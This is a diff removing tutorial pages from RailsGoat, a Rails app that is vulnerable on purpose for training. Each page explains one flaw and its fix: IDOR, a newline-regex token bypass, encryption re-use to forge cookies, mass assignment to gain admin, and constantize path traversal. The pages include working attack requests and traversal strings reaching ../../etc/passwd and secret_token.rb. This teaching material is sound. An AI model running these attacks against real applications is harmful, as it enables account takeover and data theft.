flash[:error] = "Sorry, no user with that user id exists"
|
||||
redirect_to home_dashboard_index_path
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
} %>
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Instead of using the current_user object which, takes the user ID value from the user's session and is normally resilient against tampering, the user ID is pulled from the request parameter (user id in the RESTful URL). Additionally, even in the session, User IDs should be sufficiently random and the sessions stored in a persistent manner (ActiveRcord) versus using the Base64 encoded / HMAC validation session schema.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Insecure Direct Object Reference - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Navigate to the work info page, observe your user ID in the URL /users/<%= "<:user id>"%>/work_info.
|
||||
Now change it to someone else's user ID.<br/><br/> Example - /users/2/work_info
|
||||
</p>
|
||||
<p><b>Insecure Direct Object Reference - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
The easiest way to fix this is to reference the current_user object. Also, it might make sense to not disclose any more sensitive information than necessary (re: error message).
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def index
|
||||
<span style="background-color:yellow">@user = current_user</span>
|
||||
if !(@user) || @user.admin
|
||||
<span style="background-color:yellow">flash[:error] = "Apologies, looks like something went wrong"</span>
|
||||
redirect_to home_dashboard_index_path
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
Hmmm, that's a lot of info under work info, hope that is secure
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,219 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Logic Flaws - Broken Regular Expression
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Regular expressions are a common way to extract the data you want from the data you do <b><u>not</u></b> want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within the file app/controllers/api/v1/users_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
before_filter :valid_api_token
|
||||
before_filter :extrapolate_user
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def valid_api_token
|
||||
authenticate_or_request_with_http_token do |token, options|
|
||||
# TODO :add some functionality to check if the HTTP Header is valid
|
||||
identify_user(token)
|
||||
end
|
||||
end
|
||||
|
||||
def identify_user(token="")
|
||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||
# we will go ahead and unescape the user's token
|
||||
unescape_token(token)
|
||||
<span style="background-color:yellow">@clean_token =~ /(.*?)-(.*)/</span>
|
||||
<span style="background-color:yellow">id = $1</span>
|
||||
hash = $2
|
||||
(id && hash) ? true : false
|
||||
<span style="background-color:yellow">check_hash(id, hash) ? true : false</span>
|
||||
end
|
||||
|
||||
def check_hash(id, hash)
|
||||
<span style="background-color:yellow">digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")</span>
|
||||
hash == digest
|
||||
end
|
||||
|
||||
# We had some issues with the token and url encoding...
|
||||
# this is an attempt to normalize the data.
|
||||
def unescape_token(token="")
|
||||
<span style="background-color:yellow">@clean_token = CGI::unescape(token)</span>
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This first validation, <i>valid_api_token</i>, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid. <br/><br/>Meaning, if the hash (<i>check_hash</i>) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid. <br/><br/>The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Added a method to make it easy to figure out who the user is.
|
||||
def extrapolate_user
|
||||
<span style="background-color:yellow">@user = User.find_by_id(@clean_token.split("-").first)</span>
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: <i>%0a</i>).We meant or expected for a user to enter a token such as:
|
||||
</p>
|
||||
<pre>
|
||||
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||
</pre>
|
||||
<p class="desc">
|
||||
However, the user actually enters:
|
||||
</p>
|
||||
<pre>
|
||||
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen (<i>"-"</i>) character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be <i>"2\n1"</i>. When performing a <i>find_by_*</i>, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Broken Regular Expression ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request <i>should</i> look like:
|
||||
</p>
|
||||
<pre>
|
||||
GET /api/v1/users HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
<span style="background-color:yellow">Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc</span>
|
||||
Content-Length: 4
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This is the response:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
|
||||
X-Runtime: 0.008342
|
||||
Connection: close
|
||||
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com",
|
||||
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
|
||||
"updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||
</pre>
|
||||
<p class="desc">
|
||||
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate <b>being</b> and admin by prepending 1%0a:
|
||||
</p>
|
||||
<pre>
|
||||
GET /api/v1/users HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Authorization: Token token=<span style="background-color:yellow">1%0a</span>2-050ddd40584978fe9e82840b8b95abb98e4786dc
|
||||
Content-Length: 4
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The following is a response from the application (note - we get bonus points because as an admin we can retrieve <b> EVERYONE's</b> data):
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
|
||||
X-Runtime: 0.009111
|
||||
Connection: close
|
||||
|
||||
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
|
||||
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
|
||||
"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
|
||||
"2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
|
||||
"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
|
||||
"created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
|
||||
"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
|
||||
"2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
|
||||
"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
|
||||
"2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
|
||||
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
|
||||
"2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
|
||||
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
|
||||
</pre>
|
||||
<p><b> Broken Regular Expression SOLUTION:</b></p>
|
||||
<p class="desc">
|
||||
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def identify_user(token="")
|
||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||
# we will go ahead and unescape the user's token
|
||||
unescape_token(token)
|
||||
@clean_token =~ /<span style="background-color:yellow">\A</span>(.*?)-(.*)<span style="background-color:yellow">\z</span>/
|
||||
id = $1
|
||||
hash = $2
|
||||
(id && hash) ? true : false
|
||||
check_hash(id, hash) ? true : false
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
An API token? Interested to see what calls I can make! What are the closing tags for Ruby again?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,132 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Logic Flaws - Insecure Encryption Re-use
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCryptoOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseCryptoOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The Railsgoat application allows employees of Metacorp to choose the <b><i>Remember Me</b></i> option at login, which creates a cookie named <b><i>auth-token</i></b>. The encryption routine used to generate the <b><i>auth-token</i></b> allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCryptoTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCryptoTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within the file lib/encryption.rb, there are two encryption related methods that we have exposed:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Added a re-usable encryption routine, shouldn't be an issue!
|
||||
def self.encrypt_sensitive_value(val="")
|
||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||
aes.encrypt
|
||||
aes.key = key
|
||||
aes.iv = iv if iv != nil
|
||||
new_val = aes.update("#{val}") + aes.final
|
||||
Base64.strict_encode64(new_val).encode('utf-8')
|
||||
end
|
||||
|
||||
def self.decrypt_sensitive_value(val="")
|
||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
aes.iv = iv if iv != nil
|
||||
decoded = Base64.strict_decode64("#{val}")
|
||||
aes.update("#{decoded}") + aes.final
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's <b><i>auth_token</b></i> cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.<br/><br/>
|
||||
Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# callbacks
|
||||
before_save <span style="background-color:yellow">:encrypt_bank_account_num</span>
|
||||
|
||||
def encrypt_bank_account_num
|
||||
self.bank_account_num = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.bank_account_num)</span>
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Additionally, we render that encrypted value (purposefully) when the <b><i>show</i></b> action is created within the app/controllers/pay_controller.rb file:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def show
|
||||
respond_to do |format|
|
||||
format.json { render :json => {:user => <span style="background-color:yellow">current_user.pay.as_json</span>} }
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Lastly, we re-use this same routine within the following code is used to create a user's <b><i>auth_token</b></i> cookie upon sign-up or creation (app/models/user.rb):
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
before_create { generate_token(:auth_token) }
|
||||
|
||||
def generate_token(column)
|
||||
begin
|
||||
self[column] = <span style="background-color:yellow">Encryption.encrypt_sensitive_value(self.user_id)</span>
|
||||
end while User.exists?(column => self[column])
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseCryptoThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCryptoThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Insecure Encryption Re-use ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
Navigate to the <b><i>Pay</b></i> section of the application. Enter your bank account number but use the number <b><i>1</i></b> as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your <b><i>auth_token</i></b> cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality.
|
||||
</p>
|
||||
<p><b> Insecure Encryption Re-use SOLUTION:</b></p>
|
||||
<p class="desc">
|
||||
Create an entirely new encryption routine or create the SHA1 hash with a different salt.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseCryptoFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCryptoFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
My "Remember Me" cookie looks familiar, almost like one of those values you get when you enter your bank account number.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,150 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Mass Assignment (Admin role)
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
The bug is introduced within app/models/user.rb, seen on line 3 (:admin):
|
||||
</p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
class User < ActiveRecord::Base
|
||||
attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
|
||||
} %>
|
||||
</pre>
|
||||
</p>
|
||||
<p class="desc">
|
||||
Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
|
||||
# is true or false thanks to ActiveRecord
|
||||
User.new(:email => "email@email.com",
|
||||
:admin => "true",
|
||||
:password => "h4xx0r",
|
||||
:first_name => "Captain",
|
||||
:last_name => "Crunch"
|
||||
)
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Mass Assignment ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this...
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
POST /users HTTP/1.1
|
||||
Host: railsgoat.dev
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://railsgoat.dev/signup
|
||||
Cookie: _railsgoat_session=[redacted]
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 248
|
||||
|
||||
utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
|
||||
</pre>
|
||||
<p>
|
||||
...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true.
|
||||
</p>
|
||||
<pre class="ruby"> utf8=â&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&<span style="background-color: yellow">user[admin]=true</span>
|
||||
</pre>
|
||||
<p class="desc">
|
||||
So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def create
|
||||
<span style="background-color: yellow">user = User.new(params[:user])</span>
|
||||
user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
|
||||
user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
|
||||
user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
|
||||
user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
|
||||
if user.save
|
||||
session[:user_id] = user.user_id
|
||||
redirect_to home_dashboard_index_path
|
||||
else
|
||||
@user = user
|
||||
render :new
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The last thing to mention here is that this can be done either through the signup page or when you edit your account settings.
|
||||
</p>
|
||||
<p><b> Mass Assignment SOLUTION:</b></p>
|
||||
<p class="desc">
|
||||
The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
<span style="background-color:yellow"># Note that the admin attr has been removed </span>
|
||||
<%= %q{
|
||||
class User < ActiveRecord::Base
|
||||
attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
|
||||
} %>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Did you register your account correctly? How about when you updated your settings?
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,130 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Constantize
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within the file app/controllers/benefit_forms_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def download
|
||||
begin
|
||||
<span style="background-color:yellow">path = Rails.root.join('public', 'docs', params[:name])</span>
|
||||
<span style="background-color:yellow">file = params[:type].constantize.new(path)</span>
|
||||
send_file file, :disposition => 'attachment'
|
||||
rescue
|
||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Constantize ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
|
||||
</pre>
|
||||
<p>
|
||||
Change the name parameter to something a little more fun like:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
|
||||
</pre>
|
||||
<p class="desc">
|
||||
This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.<br/><br/> Example:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
../../../../../../../etc/passwd&type=File
|
||||
</pre>
|
||||
<p><b> Constantize SOLUTION:</b></p>
|
||||
<p class="desc">
|
||||
In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# More secure version
|
||||
def download
|
||||
<span style="background-color:yellow">file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}</span>
|
||||
begin
|
||||
<span style="background-color:yellow">if file_assoc.has_key?(params[:name].to_s)</span>
|
||||
path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
|
||||
<span style="background-color:yellow">if params[:type] == "File"</span>
|
||||
file = params[:type].constantize.new(path)
|
||||
send_file file, :disposition => 'attachment'
|
||||
end
|
||||
else
|
||||
file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
|
||||
send_file file, :disposition => 'attachment'
|
||||
end
|
||||
rescue
|
||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
